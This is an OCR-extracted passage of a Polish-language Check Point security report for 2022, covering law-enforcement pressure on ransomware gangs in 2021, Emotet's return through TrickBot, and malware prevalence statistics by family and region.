przez organy scigania. Nie zaskakuje zatem fakt,
ze cyberprzestepcy rozwiazuja swoje wewnetrzne
spory na forach sadowych, gdzie przegrana sprawa

moze kosztowac grupe utrate reputacji i zyskéw.

Poprzedni rok byt niezwykle burzliwym czasem

dla wielu grup ransomware, miedzy innymi

dlatego, ze rzady i organy Scigania zmienity swoje
stanowisko wobec przestepczosci zorganizowanej
zajmujacej sie tym obszarem dziatalnosci. Dziatania
prewencyjne i reaktywne przeksztatcity sie w
aktywne operacje ofensywne wymierzone w samych
operatoréw oprogramowania ransomware, jak
rowniez w ich zrddta finansowania i infrastrukture
pomocnicza. Gtdwna zmiana nastapita po
incydencie zwiazanym z rurociagiem Colonial
Pipeline. Majowy atak przeprowadzony przez
grupe DarkSide spowodowat powazne ograniczenia
dostaw paliwa na catym Wschodnim Wybrzezu USA,
co uswiadomito administracji prezydenta Bidena
koniecznos¢ zwiekszenia wysitkdw w walce z tym

zagrozeniem.
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Jeszcze w tym samym miesiacu gang

DarkSide ogtosit na stronie ze zawiesza

dziatalnosc po tym, jak przejeto jego serwery
oraz kryptowaluty wykorzystywane do optacania
partnerskich gangéw. W czerwcu Departament
Sprawiedliwosci Stanéw Zjednoczonych okreslit

oprogramowanie ransomware mianem

zagrozenia dla bezpieczenstwa narodowego,
zrownujac je z terroryzmem. Kolejny powazny
incydent dotyczyt ataku na platforme Kaseya w_

lipcu zesztego roku, po ktérym odpowiedzialna

za niego grupa REvil znikneta w tajemniczych
okolicznosciach, wytaczajac swoja strone
internetowa z wyciekami Happy Blog i zawieszajac
obstuge klienta. Zawieszenie dziatalnosci byto

jednak krotkotrwate i grupa wznowita przestepcza

dziatalnos¢ we wrzesniu. Nastepnie przestepcy
znikneli ponownie w pazdzierniku w wyniku
operacji organdw scigania, ktérym udato sie przejac

infrastrukture oraz strone internetowa Happy Blog.

We wrzesniu organy Stanéw Zjednoczonych poszty o
krok dalej w walce z oprogramowaniem
ransomware i ogtosity sankcje na gietdy
kryptowalut, portfele i firmy handlowe, ktdre
wykorzystuja podmioty odpowiedzialne za
zagrozenia zwigzane z oprogramowaniem
ransomware do wymiany kryptowalut uzyskiwanych
w ramach okupdw na rzeczywiste waluty. Gietda
SUEX z siedziba w Rosji jako pierwsza zostata
wpisana na liste sankcji za wspotudziat w
dziatalnosci przestepczej majacej na celu
wymuszanie okupow. W nastepnym miesiacu Unia
Europejska i kolejne 31 krajéw ogtosity, ze
przytacza sie do dziatan majacych na celu
przerwanie kanatow przesytu kryptowalut, prébujac
w ten sposéb sparalizowacd proces prania brudnych
pieniedzy. Ponadto, rzad australijski opublikowat
plan dziatania dotyczacy oprogramowania

ransomware, ktéry obejmuje utworzenie nowej

specjalnej grupy zadaniowej oraz surowsze kary dla
0s6b zajmujacych sie atakami wykorzystujacymi to

oprogramowanie.

W listopadzie odbyta sie Operacja Cyklon -
miedzynarodowa operacja koordynowana przez
Interpol, w wyniku ktérej udato sie przejac
infrastrukture oraz aresztowac osoby powiazane

z praniem pieniedzy grupy ClOp, odpowiedzialnej

za atak na firme Accellion, ktdry doprowadzit

do wielu wymuszen. Ponadto amerykanski
Departament Sprawiedliwosci i inne agencje
federalne prowadzity dalsze dziatania przeciwko
grupie REvil, ktére obejmowaty aresztowania
cztonkdw organizacji, przejecie pieniedzy z okupéw
o wartosci 6 milionow dolardw, konfiskate urzadzen
oraz rozbicie programu nagréd o wartosci 10

miliondw dolardw.

W catym ekosystemie oprogramowania ransomware
obserwowalismy rézne reakcje na te informacje.
Niektdre grupy okazywaty wrogosc i wywieraty
jeszcze wieksza presje na swoje ofiary, aby
skutecznie odstraszy¢ je od kontaktu z organami
scigania. Na przyktad, oprogramowanie Grief

grozito ofiarom usunieciem kluczy deszyfrujacych

pliki, jesli zdecyduja sie na skorzystanie z ustug
profesjonalnych negocjatoréw. Przestepcy
obstugujacy ransomware RagnarlLocker
opublikowali w internecie wszystkie dane
wykradzione ofiarom, ktére skontaktowaty sie z FBI

lub innymi organami scigania.

Z kolei inne grupy skoncentrowaty sie na
dostosowaniu sie do nowej sytuacji i zmianach
nazw, by unikac¢ zbyt bliskich skojarzen z gtosnymi
atakami. Grupa Darkside tymczasowo zawiesita
swoja dziatalno$¢ w branzy oprogramowania
ransomware, a niektorzy z jej cztonkdw zatozyli w

lipcu nowa grupe - BlackMatter. Grupa dokonata
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https://www.bleepingcomputer.com/news/security/ransomware-gang-threatens-to-leak-data-if-victim-contacts-fbi-police/
https://www.bankinfosecurity.com/blogs/blackmatter-ransomware-appears-to-be-spawn-darkside-p-3075
https://www.bankinfosecurity.com/blogs/blackmatter-ransomware-appears-to-be-spawn-darkside-p-3075
https://www.hackread.com/darkside-ransomware-quits-bitcoin-servers-seize/
https://www.reuters.com/technology/exclusive-us-give-ransomware-hacks-similar-priority-terrorism-official-says-2021-06-03/
https://www.reuters.com/technology/exclusive-us-give-ransomware-hacks-similar-priority-terrorism-official-says-2021-06-03/
https://www.zdnet.com/article/updated-kaseya-ransomware-attack-faq-what-we-know-now/
https://www.zdnet.com/article/updated-kaseya-ransomware-attack-faq-what-we-know-now/
https://heimdalsecurity.com/blog/revil-ransomwares-servers-have-resurfaced-after-being-down-for-two-months/
https://heimdalsecurity.com/blog/revil-ransomwares-servers-have-resurfaced-after-being-down-for-two-months/
https://techcrunch.com/2021/10/18/revil-ransomware-group-goes-dark-after-its-tor-sites-were-hijacked/
https://gizmodo.com/biden-administration-reportedly-plans-sanctions-to-co-1847697017
https://home.treasury.gov/policy-issues/financial-sanctions/recent-actions/20210921
https://www.wsj.com/articles/white-house-ransomware-summit-eyes-tighter-global-scrutiny-for-crypto-11634227377
https://www.homeaffairs.gov.au/about-us/our-portfolios/cyber-security/strategy/australias-ransomware-action-plan
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atakéw na dostawce ustug marketingowych
Marketron, japonska firme technologiczna

Olympus oraz infrastrukture krytyczna, w

tym rolnikéw z organizacji New Cooperative

w stanie lowa. Zmiana marki nie pomogta -

w listopadzie grupa BlackMatter ogtosita ze
zamyka dziatalnos¢ z powodu naciskéw ze strony
organdw scigania. W ogtoszeniu znalazta sie

nawet informacja, ze ,po ostatnich informacjach
cztonkowie grupy nie beda juz dostepni” - eksperci
uwazaja jednak, ze zakonczenie dziatalnosci byto
wynikiem probleméw z zaufaniem wsrdd partnerow
oraz wadliwego szyfrowania, ktére pozwolito
ekspertom zajmujacym sie bezpieczenstwem

na odszyfrowanie plikdw ofiar. Potwierdzajac
wspotprace podmiotdw z przestepczego poétswiatka,
grupa BlackMatter weszta w partnerstwo z grupa
LockBiti przekazata dane swoich ofiar platformie
LockBit, aby utatwic¢ bezproblemowe wymuszanie

okupu, tuz przed swoim zniknieciem.

Niestety, nie wszystkie grupy ransomware moga
pochwali¢ sie tak udana wspodtpraca. Obawe przed
zatrzymaniem przez wtadze potegowata wyrazna
nieufnosé, ktdrej sprzyjata ciagta konkurencja. Na
przyktad, operatorzy REvil zostali przytapani na
oszukiwaniu swoich partneréw - cztonkowie grupy
przejmowali proces negocjowania okupu uzywajac
sekretnych czatow i backdoordw, aby odciac
partnerdw od ich udziatéow w okupie. Grupa Conti
przezyta wewnetrzny kryzys po tym, jak jeden z
niezadowolonych partnerdow opublikowat informacje

na temat grupy, skarzac sie na niskie zarobki.

Wreszcie, w minionym roku bylismy Swiadkami
pierwszych oznak dziatania presji na spotecznos¢
ransomware, a nawet catkowitego zamykania
dziatalnosci - niektdrzy operatorzy catkowicie
porzucili przestepczy biznes. Na przyktad gang
Avaddon pojawit sie po raz pierwszy w czerwcu
2020 roku, jednak juz rok pozniej zostat zmuszony
do zamkniecia dziatalnosci i udostepnienia kluczy
deszyfrujacych - nie ma zadnych watpliwosci, ze
byto to skutkiem wzmozonej dziatalnosci organdw
scigania. Grupa Conti zaatakowata z kolei brytyjska

firme Graff Jewelry, jednak pdzniej byta zmuszona

do wystania przeprosin, gdy okazato sie, ze
niektdre ze skradzionych danych nalezaty do rodzin
krolewskich z Arabii Saudyjskiej, Zjednoczonych
Emiratéw Arabskich i Kataru. Obawiajac sie
odwetu, obiecali usuna¢ dane bez uzyskiwania

do nich dostepu. Gtéwne fora poswiecone
cyberprzestepczosci zakazaty umieszczania na
swoich platformach reklam oprogramowania
ransomware, aby unikna¢ nadmiernego
przyciagania uwagi stuzb. Utrudnito to operatorom
skuteczna komunikacje z partnerami, zwiekszajac

ryzyko wpadki.

Proaktywne srodki i operacje ofensywne
prowadzone przez rzady na catym swiecie

zdotaty w widoczny sposdb naruszyc ekosystem
oprogramowania ransomware, zaktdcajac

jego dziatanie i powodujac spustoszenie w
przestepczym potswiatku. Mimo to, miliony dolaréw
potencjalnego przychodu oznaczaja, ze w 2022 roku
prawdopodobnie bedziemy swiadkami kolejnych
projektéw ransomware - udane rozwiazania
postuza jako wzory do nasladowania i modele
ulepszonych atakéw. Jednym z wnioskéw, jakie
operatorzy oprogramowania ransomware moga
wyciagnac z wydarzen 2021 roku jest to, ze rodzaj
wybieranych celéw moze zadecydowacd o tym, czy

ich dziatalnos$¢ bedzie dtugotrwata, czy bardzo krétka.
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https://blog.malwarebytes.com/ransomware/2021/06/another-one-bites-the-dust-avaddon-ransomware-group-shuts-down-operation/
https://www.dailymail.co.uk/news/article-10172879/Russian-cyber-hackers-carried-virtual-heist-jewellers-Graff-make-grovelling-apology.html
https://latesthackingnews.com/2021/05/17/cybercrime-forums-xss-exploit-raidforums-ban-ransomware-ads
https://www.bankinfosecurity.com/blackmatter-knocks-marketron-off-air-a-17588
https://threatpost.com/blackmatter-ransomware-olympus/169423/
https://www.zdnet.com/article/iowa-farm-services-provider-hit-with-blackmatter-ransomware-and-5-9-million-ransom/
https://therecord.media/blackmatter-ransomware-says-its-shutting-down-due-to-pressure-from-local-authorities/
https://therecord.media/free-decrypter-announced-for-past-blackmatter-ransomware-victims/
https://www.bleepingcomputer.com/news/security/blackmatter-ransomware-moves-victims-to-lockbit-after-shutdown/
https://threatpost.com/revil-affiliates-leadership-cheated-ransom-payments/174972/
https://www.bankinfosecurity.com/conti-ransomware-threat-rising-as-group-gains-affiliates-a-17448
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MALWARE POD LUPA:
EMOTET POWRACA

EMOTET, JEDEN Z NAJNIEBEZPIECZNIEJSZYCH | CIESZACYCH SIE ZtA
SEAWA BOTNETOW W HISTORII, POWROCIt, POMIMO DEUGOTRWALYCH

| ZSYNCHRONIZOWANYCH WYSIt KOW SPOLECZNOSCI
MIEDZYNARODOWEJ ORAZ ORGANOW SCIGANIA NA CALYM SWIECIE,
KTORE DOPROWADZItY DO JEGO LIKWIDACJI W STYCZNIU 2021 ROKU.
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Pod koniec roku $wiat zdat sobie sprawe, ze nawet

miedzynarodowa grupa zadaniowa moze jedynie
ALEXANDRA GOFMAN spowolni¢ dziatanie botnetu Emotet - catkowita eliminacja

Kierowniczka zespotu jest niemozliwa.
Check Point Research

Niektérym cztonkom grupy udato sie wymkna¢ wymiarowi
sprawiedliwosci i poswiecic czas na reorganizacje,
przegrupowanie i wykorzystanie dawnych kontaktéw w
przestepczym potswiatku do rozpoczecia nowej, ulepszonej

globalnej kampanii spamowe;|.

Trickbot i Emotet to dawni partnerzy - dla nikogo nie
byto zaskoczeniem, ze Emotet wykorzysta TrickBota jako

narzedzie w celu powrotu do gry.”

Emotet, jeden z najniebezpieczniejszych i cieszacych sie zta stawa botnetéw w historii, powrdcit,
pomimo dtugotrwatych i zsynchronizowanych wysitkéw spotecznosci miedzynarodowej oraz
organdw $cigania na catym Swiecie, ktore doprowadzity do jego likwidacji w styczniu 2021

roku. Emotet, trojan bankowy przeksztatcony w modutowy botnet zastynat swoim ogromnym

zasiegiem - objat przeszto 1,5 miliona zainfekowanych komputeréw na catym Swiecie oraz
tysiace sieci korporacyjnych. Emotet byt wykorzystywany jako platforma dystrybucyjna do
dostarczania innych znanych rodzin ztosliwego oprogramowania, takich jak TrickBot, Qbot i
Dridex, czesto powodujac ataki ransomware obejmujace cate sieci i paralizujace cate organizacje.
Wyrzadzone szkody zostaty oszacowane na okoto 2,5 miliarda dolaréw zanim udato sie zakonczy¢

jego dziatalnosc.

CHECK POINT SOFTWARE | RAPORT BEZPIECZENSTWA 2022 < 32 >


https://www.europol.europa.eu/media-press/newsroom/news/world%25e2%2580%2599s-most-dangerous-malware-emotet-disrupted-through-global-action
https://securelist.com/the-chronicles-of-emotet/99660/
https://www.wired.com/story/emotet-botnet-takedown/
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14 listopada botnet Emotet oficjalnie powstat z martwych - badacze zaobserwowali pierwsze

probki tego ztosliwego oprogramowania od czaséw jego zamkniecia. Zaskakuje zrddto, z ktérego
pojawity sie probki - to botnet TrickBot zostat wykorzystany do przestania prébek ztosliwego
oprogramowania Emotet na urzadzenia zainfekowane ztosliwym oprogramowaniem TrickBot. Juz
nastepnego dnia Emotet wrdcit do swojej charakterystycznej metody dystrybucji - masowych
kampanii spamowych dostarczajacych ofiarom trojana w postaci ztosliwych zatacznikdw w formie
dokumentéw. Aby odbudowac swoja siec, operatorzy botnetu Emotet postanowili umiesci¢ swojego
bota spamowego na skutecznie zainfekowanych maszynach, co umozliwito im rozprzestrzenienie

szkodliwego oprogramowania na jeszcze wieksza skale niz dotychczas.

Wykorzystanie botnetu TrickBot jako droppera byto naturalnym wyborem dzieki bogate;j
historii wspotpracy obu grup. Moze to sugerowac, ze przynajmniej niektérzy z dawnych
partneréw zajmujacych sie dystrybucja ztosliwego oprogramowania odpowiadaja réwniez

za jego wskrzeszenie. Sam TrickBot zostat na krdtko wytaczony w 2020 roku, a mimo to
przetrwat i znalazt sie w rankingach ztosliwego oprogramowania Top Malware opublikowanych

w maju, czerwcu oraz we wrzesniu 2021 roku. W ciagu ostatniego roku zespé6t Check Point

Research zaobserwowat ponad 140 000 ofiar botnetu TrickBot na catym Swiecie w ramach
przeszto 200 kampanii i tysiecy zaatakowanych sieci. Tak duza baza instalacji sprawita, ze TrickBot

stat sie idealna platforma do ponownego uruchomienia nowego botnetu Emotet.

Sam Emotet powrdcit jeszcze silniejszy, a do jego zestawu narzedzi dotaczyto kilka nowych
sztuczek. Ulepszony wariant wykorzystuje kryptografie krzywej eliptycznej zamiast kryptografii
RSA, udoskonalit techniki ukrywania informacji przesytanych z serweréw sterowania, a do metod
dostarczania dotaczyto wykorzystanie ztosliwych pakietow instalacyjnych aplikacji systemu
Windows, ktdre podszywaja sie pod powszechnie dostepne oprogramowanie. Ponadto badacze

stwierdzili, ze Emotet obecnie pobiera na zainfekowane urzadzenia elementy oprogramowania

Cobalt Strike bezposrednio - wczesdniejsze wersje pobieraty inne ztosliwe oprogramowanie,

ktdre z kolei po pewnym czasie pobierato pakiety Cobalt Strike. Cobalt Strike byt podstawa
ukierunkowanych atakéw ransomware w poprzednich latach. Zmiany w zachowaniu botnetu Emotet
oznaczaja, ze czas miedzy infekcja ztosliwym oprogramowaniem Emotet i atakiem ransomware na
petna skale ulegt znaczacemu skréceniu, pozostawiajac obroricom znacznie mniej czasu na reakcje

na trwajacy atak.

Zespodt Check Point Research zaobserwowat, ze natezenie aktywnosci botnetu po jego ponownym
uruchomieniu stanowi co najmniej 50% poziomu, jaki obserwowalismy w styczniu 2021 roku, tuz
przed jego zamknieciem. Ta tendencja wzrostowa utrzymywata sie przez caty grudzien Pod koniec
roku przestepcy przeprowadzili kilka kampanii, a wzrost aktywnosci bedzie trwat przez 2022 rok,

przynajmniej do czasu kolejnej préby przejecia kontroli nad botnetem przez stuzby.
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https://cyber.wtf/2021/11/15/guess-whos-back/
https://isc.sans.edu/diary/28044
https://intel471.com/blog/trickbot-online-emotet-microsoft-cyber-command-disruption-attempts
https://blog.checkpoint.com/2021/06/10/check-point-softwares-may-2021-most-wanted-malware-dridex-drops-from-list-while-trickbot-rises-to-top/
https://blog.checkpoint.com/2021/07/13/june-2021s-most-wanted-malware-trickbot-remains-on-top/
https://blog.checkpoint.com/2021/10/08/september-2021s-most-wanted-malware-trickbot-once-again-tops-the-list/
https://research.checkpoint.com/2021/when-old-friends-meet-again-why-emotet-chose-trickbot-for-rebirth/
https://www.bleepingcomputer.com/news/security/emotet-now-spreads-via-fake-adobe-windows-app-installer-packages/
https://www.bleepingcomputer.com/news/security/emotet-now-drops-cobalt-strike-fast-forwards-ransomware-attacks/
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STATYSTYKI ZE SWIATA

W 20217 ROKU ODNOTOWANO 50% WZROST TYGODNIOWEJ LICZBY

ATAKOW NA SIECI KORPORACYJNE W POROWNANIU Z ROKIEM 2020.
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KATEGORIE CYBERATAKOW WEDLUG REGIONOW
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Ryc. 1: Odsetek sieci korporacyjnych zaatakowanych przez kazdy typ ztosliwego oprogramowania na Swiecie
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Ryc. 2: Odsetek sieci korporacyjnych zaatakowanych przez kazdy typ ztosliwego oprogramowania w obu Amerykach
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Ryc. 3: Odsetek sieci korporacyjnych zaatakowanych przez kazdy typ ztosliwego oprogramowania w regionie EMEA
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Ryc. 4: Odsetek sieci korporacyjnych zaatakowanych przez kazdy typ ztosliwego oprogramowania w regionie APAC
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GLOBALNY INDEKS CYBERZAGROZEN

Mapa przedstawia indeks cyberzagrozen w skali globalnej, ukazujac gtéwne

obszary ryzyka na catym Swiecie.*

* Ciemniejszy kolor = wieksze ryzyko

* Szary kolor = Niewystarczajace dane

Ryc. 5. Globalny indeks cyberzagrozen
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Education / Research | V T (-7
Government / Military (+47%)
Communications (+51%)
isp/ mse | T TN (-7
Healthcare | EGEEEEEEEE -7 %)
SI/ VAR / Distributor (+18%)
Utilities (+46%)
Manufacturing (+41%)
Finance / Banking (+53%)
Insurance / Legal (+68%)
Leisure / Hospitality (+40%)
Consultant (+73%)
Software Vendor (+146%)
Retail / Wholesale (+39%)
Transportation m (+346%)
Hardware Vendor (+16%)

Ryc. é: Srednia liczba atakéw na organizacje wedtug branzy w roku 2021 w poréwnaniu z danymi z 2020 roku

W 2021 roku liczba globalnych cyberatakéw na sieci korporacyjne wzrosta o 50% w
poréwnaniu z poprzednim rokiem. Najczesciej ofiarami atakéw padaty podmioty dziatajace
w sektorze nauki i badan, w ktorym co tydzien dochodzito srednio do 1605 atakdw

na organizacje (wzrost o 75% wzgledem poprzedniego roku), natomiast w kategorii
dostawcdow oprogramowania widzimy najwiekszy wzrost w ujeciu rok do roku - az o 146%.
Wzrost liczby atakow na dostawcdw oprogramowania idzie w parze ze stale rosnacym

trendem atakéw na tancuchy dostaw oprogramowania zaobserwowanym w 2021 roku.
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NAJPOPULARNIEJSZE RODZAJE ZLOSLIWYCH PLIKOW -
STRONY INTERNETOWE | POCZTA ELEKTRONICZNA

52%

Ryc. 7: Strony internetowe - najpopularniejsze rodzaje ztosliwych plikdw

34%

16%

9%
7% 7% . . .
6% 6% 6%

Ryc. 8: Poczta elektroniczna - najpopularniejsze rodzaje ztosliwych plikéw

CHECK POINT SOFTWARE | RAPORT BEZPIECZENSTWA 2022 < 39 >



ROZDZIAL 5

2019

36%

EMAIL

2020

17%

2021

16%

WEB

Ryc. 9: Metody dystrybucji - wektory ataku e-mail i strony internetowe w latach 2019, 2020 oraz 2021

Powyzsze wykresy wskazuja, ze ataki za
posrednictwem poczty elektronicznej
systematycznie staja sie coraz popularniejsze,

z kolei wykorzystanie stron internetowych do
dystrybucji ztosliwego oprogramowania spada od
poczatku 2020 roku

Ataki z wykorzystaniem poczty elektronicznej,

czy to w ramach atakéw ukierunkowanych, czy w
ramach oportunistycznych kampanii prowadzonych
przez przestepcow - amatoréw, umozliwiaja tatwa

dystrybucje szkodliwego oprogramowania do

szerokiego grona odbiorcdw i korporacji.

Jedna z przyczyn wzrostu liczby atakéw opartych

na poczcie elektronicznej jest ogromna liczba
gtosnych kampanii realizowanych przez duze grupy
przestepcze, ktdre rozprowadzaja najbardziej znane
obecnie rodziny szkodliwego oprogramowania, takie
jak TrickBot, Dridex, Qbot, IcedID czy Emotet.

Gdy gangi te zdaty sobie sprawe ze skutecznosci
kampanii spamowych zawierajacych ztosliwe

zataczniki w postaci dokumentéw pakietu Office,
wykorzystywaty je niemal wytacznie jako gtéwny

wektor infekcji w nowych sieciach.
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STATYSTYKI DOTYCZACE ZtOSLIWEGO OPROGRAMOWANIA NA SWIECIE

Poréwnania danych przedstawione w kolejnych sekcjach niniejszego raportu opieraja sie na danych pochodzacych
z serwisu Check Point ThreatCloud Cyber Threat Map w okresie od stycznia do grudnia 2021 roku.

Dla kazdego z regiondw ponizej przedstawiamy najczesciej wystepujace ztosliwe oprogramowanie.

NAJPOPULARNIEJSZE RODZINY ZLOSLIWEGO OPROGRAMOWANIA

B SWIAT

11.0%

5.2% 50% 4 90

I I I T T 3.5%
3 e 2"
\
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Ryc. 10: Najpopularniejsze ztosliwe oprogramowanie na swiecie
Odsetek sieci korporacyjnych zaatakowanych przez poszczegdlne rodzaje ztosliwego oprogramowania.
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Ryc. 11: Najpopularniejsze ztosliwe oprogramowanie w obu Amerykach

CHECK POINT SOFTWARE | RAPORT BEZPIECZENSTWA 2022 < 41>


https://threatmap.checkpoint.com/ThreatPortal/livemap.html

I
ROZDZIAL 5

B EUROPA, BLISKI WSCHOD | AFRYKA (EMEA)

10.8%

Ryc. 12: Najpopularniejsze ztosliwe oprogramowanie w regionie EMEA.

B AZJA | PACYFIK (APAC)

14.5%

4.8%

Ryc. 13: Najpopularniejsze ztosliwe oprogramowanie w regionie APAC.
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ANALIZA NAJPOPULARNIEJSZEGO ZtOSLIWEGO
OPROGRAMOWANIA

Na pierwszy rzut oka wida¢ pewne zmiany w stosunku do naszego ostatniego rocznego
rankingu ztosliwego oprogramowania - z pierwszej dziesiatki wypadty RigEK oraz
LokiBot, a ich miejsce zajety botnet Glupteba oraz RAT Remcos.

TrickBot awansowat w lutym, zastepujac botnet Emotet i utrzymat te pozycje przez
reszte roku 2021. TrickBot to modutowy botnet i trojan bankowy, opracowany z mysla o
systemach operacyjnych z rodziny Windows. Zostat takze wykorzystany do ponownego
uruchomienia botnetu Emotet w listopadzie 2021 roku - dzieki jego infrastrukturze

rozpowszechniono stare-nowe ztosliwe oprogramowanie. TrickBot jest stale

aktualizowany o nowe mozliwosci, funkcje i wektory dystrybucji, dzieki czemu jest
elastycznym i konfigurowalnym narzedziem, ktére moze by¢ rozprzestrzeniane w ramach
zréznicowanych kampanii. TrickBot stanowi ponadto popularna metode uzyskiwania
pierwszego dostepu do sieci w ramach atakéw ukierunkowanych, umozliwiajaca
przestepcom wykorzystanie innego ztosliwego oprogramowania, takiego jak Ryuk, Conti
czy Bazar. Mimo ze TrickBot zostat na krétko wytaczony w pazdzierniku 2020 roku,

przez caty rok 2021 utrzymywat sie w czotéwce naszych rankingéw najpopularniejszego
ztosliwego oprogramowania. Ponadto botnet ten zostat wykorzystany w ramach jednego

znajpowazniejszych atakow ransomware tego roku - ataku ransomware Conti

skierowany przeciwko Health Service Executive w Irlandii.

Phorpiex to botnet, ktéry w szczytowym okresie swojego rozwoju kontrolowat ponad
milion zainfekowanych urzadzen. Jest wykorzystywany do rozprzestrzeniania innych
rodzin szkodliwego oprogramowania za posrednictwem kampanii spamowych, a

takze realizacji kampanii spamowych, kampanii wymuszen na tle seksualnym oraz

rozpowszechniania oprogramowania ransomware. Phorpiex, ktdry osiagnat najnizsza
pozycje w potowie roku, w ostatnich miesiacach znalazt sie na wyzszej pozycji niz rok
wczesniej. W grudniu zespot Check Point Research zauwazyt wzrost popularnosci i
aktywnosci botnetu Phorpiex, ktory miat miejsce za sprawa zupetnie nowego wariantu
o nazwie Twizt, ktory umozliwiat mu dziatanie w trybie peer-to-peer bez aktywnych
serwerdow kontroli. W ciggu jednego roku boty Phorpiex z powodzeniem przechwycity
969 transakcji i ukradty 3,64 BTC, 55,87 ETH oraz 55 000 dolaréw w tokenach ERC20 o

wartosci prawie pot miliona dolaréw amerykanskich.
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NAJWIEKSZE BOTNETY
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ANALIZA BOTNETOW NA SWIECIE

W naszych rankingach najprezniej dziatajacych botnetéw na Swiecie nieustannie
obserwujemy te same rodziny szkodliwego oprogramowania, co w 2020 roku, jedyne
réznice dotycza czestotliwosci wystepowania kazdej z nich. Na przyktad Dridex spadt z

drugiego na czwarte miejsce, podczas gdy TrickBot awansowat na pozycje lidera.

Emotet, czyli jedna z najbardziej niestawnych rodzin ztosliwego oprogramowania, ktora
pojawita sie po raz pierwszy juz w 2014 roku, najpierw jako trojan bankowy, a pézniej jako
botnet, obecnie zajmuje trzecie miejsce na liscie najwiekszych botnetéw. Botnet Emotet
osiagnat niezwykle duzy zasieg przed likwidacja w styczniu 2021 roku - pod jego kontrola
pozostawato ponad 1,5 miliona maszyn na catym Swiecie, co przetozyto sie na szkody
szacowane na okoto 2,5 miliarda dolaréw. Byt znany z rozprzestrzeniania innych rodzin

ztosliwego oprogramowania, w tym TrickBot, Qbot i innych.

Likwidacja botnetu Emotet miata ogromny wptyw na rynek botnetéw. W wyniku likwidacji
jednego z najwiekszych botnetéw dziatajacych na komputerach osobistych pojawita

sie préznia, ktéra wypetnity TrickBot, IcedID, a ostatnio takze Phorpiex. 15 listopada,
zaledwie 10 miesiecy po likwidacji botnetu Emotet, na maszynach zainfekowanych
trojanem TrickBot pojawity sie prébki oprogramowania Emotet. Komputery byty coraz
czesciej atakowane w wyniku duzej kampanii spamowej, wykorzystujacej ztosliwe

dokumenty zawierajace oprogramowanie Emotet.

Zwracamy uwage, ze zar6wno w naszym zestawieniu za | pétrocze 2021 roku, jak i

w zestawieniu globalnym za rok 2021 Emotet znalazt sie w pierwszej tréjce, mimo

dziewieciu miesiecy braku aktywnosci, co jedynie potwierdza jego olbrzymie mozliwosci.
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NAJPOPULARNIEJSZE ZLOSLIWE OPROGRAMOWANIE KRADNACE DANE
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ANALIZA ZLOSLIWEGO OPROGRAMOWANIA
WYKRADAJACEGO DANE

W Swiecie infostealerow - ztosliwego oprogramowania wykradajacego dane, nadal
dominuje kilka rodzin. AgentTesla, ztosliwe oprogramowanie wykradajace informacje
odkryte po raz pierwszy w 2014 roku, odnotowato az 50% spadek popularnosci w
poréwnaniu z ubiegtym rokiem. Podobny spadek odnotowat LokiBot, ktory pojawit sie w
2016 roku.

Na szczycie listy znajduje sie Formbook, ztosliwe oprogramowanie wytudzajace
informacje, ktére od 2016 roku jest sprzedawane jako ustuga na podziemnych forach.
Formbook stuzy do gromadzenia danych za pomoca przechwytywania nacisnie¢ klawiszy
przez uzytkownika. W potowie 2021 roku wykryto nowy wariant Formbooka krazacy

po sieci. Wariant ten zostat rozpowszechniony w ramach w kampanii phishingowe]
wykorzystujacej dokumenty PowerPoint jako zataczniki do wiadomosci e-mail w celu

dostarczenia ztosliwego oprogramowania.

Kolejnym przyktadem ztosliwego oprogramowania dostepnego w modelu malware-as-
a-service, ktére po raz pierwszy znalazto sie w naszych statystykach najpopularniejszych
ztosliwych programéw, jest Raccoon. Ten infostealer, sprzedawany od co najmniej dwoch
lat, oferuje sprawna platforme dla partnerdw, na ktérej dostepne sa szybkie poprawki
bteddw i automatyczne aktualizacje ztosliwego oprogramowania instalowanego na

komputerach ofiar.

Ostatnie aktualizacje oprogramowania Raccoon obejmuja mozliwos¢ kradziezy
kryptowalut, infekcji maszyny ofiary ztoSliwym oprogramowaniem oraz rozprzestrzeniania

sie za posrednictwem Google SEO zamiast wiadomosci phishingowych. W ramach obecnej

kampanii uzytkownicy sa wabieni przy pomocy crackowanych licencji na oprogramowanie.
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NAJPOPULARNIEJSZE KRYPTOMINERY
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ANALIZA KRYPTOMINEROW

XMRig, legalne narzedzie do kopania kryptowaluty Monero, ktére zostato wykorzystane
przez cyberprzestepcéw do ztosliwych celdw, nie tylko nadal znajduje sie na szczycie
rankingu kryptomineréw, ale rowniez cieszy sie sporym wzrostem popularnosci - az o
ponad 25% w poréwnaniu z rokiem 2020. Na liscie pojawity sie ponadto dwie nowe rodziny

kryptomineréw: LemonDuck, ktdry zajmuje juz drugie miejsce po XMRig, oraz CryptoBot.

LemonDuck, w przypadku ktérego zaobserwowano blisko 50-procentowy wzrost liczby
atakow w pordwnaniu do statystyk z potowy roku, jest samorozprzestrzeniajacym

sie botnetem z funkcja kopania kryptowalut, ktéry umozLliwia kradziez danych
uwierzytelniajacych, posiada funkcje unikania wykrywania oraz mozliwosé
rozprzestrzeniania sie w zaatakowanej sieci. LemonDuck jest w stanie pobierac ztosliwe

oprogramowanie - w wielu przypadkach sa to prdobki trojana Ramnit.

CryptoBot to zaawansowany kryptominer, ktdry gromadzi informacje o portfelach

i kontach ofiary w momencie infekcji. W grudniu CryptoBot zostat zaobserwowany

w kampanii skierowanej do uzytkownikéw posiadajacych piracka kopie systemu
operacyjnego Windows. Kampania wykorzystuje narzedzie do aktywacji o nazwie KMSPico,
ktére oszukuje ustugi zarzadzania kluczami systemu Windows (KMS), aby uwierzytelni¢
piracka kopie systemu Windows jako legalna. Gdy uzytkownik pobierze zainfekowana
wersje narzedzia, CryptoBot jest po cichu instalowany przy uzyciu proceséw dziatajacych

w tle. Podobnie jak LemonDuck, CyptoBot wykorzystywat wczesniej exploit EternalBlue

w ramach swojego tancucha infekgji.
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ANALIZA TROJANOW BANKOWYCH

W ostatnich latach srodowisko ztosliwego oprogramowania atakujacego aplikacje
bankowe zostato zdominowane przez kilka trudnych do wykrycia rodzin trojanéw. TrickBot
wspiat sie z drugiego miejsca na szczyt globalnego rankingu, natomiast Dridex spadt na

trzecie miejsce - w poréwnaniu z rokiem 2020 jego popularnos¢ spadta o prawie 60%.

Qbot to nieustannie zmieniajace sie ztosliwe oprogramowanie, ktdre poczatkowo

powstato w celu kradziezy danych bankowych i nacisnie¢ klawiszy. Dziata jak robak,

ale potrafi takze funkcjonowac jako botnet czesto wykorzystywany w kampaniach
ransomware do pobierania ztosliwego oprogramowania na zainfekowane urzadzenia.
We wrzesdniu Qbot wznowit dziatalnosé¢ po trzymiesiecznej przerwie. Pierwszym
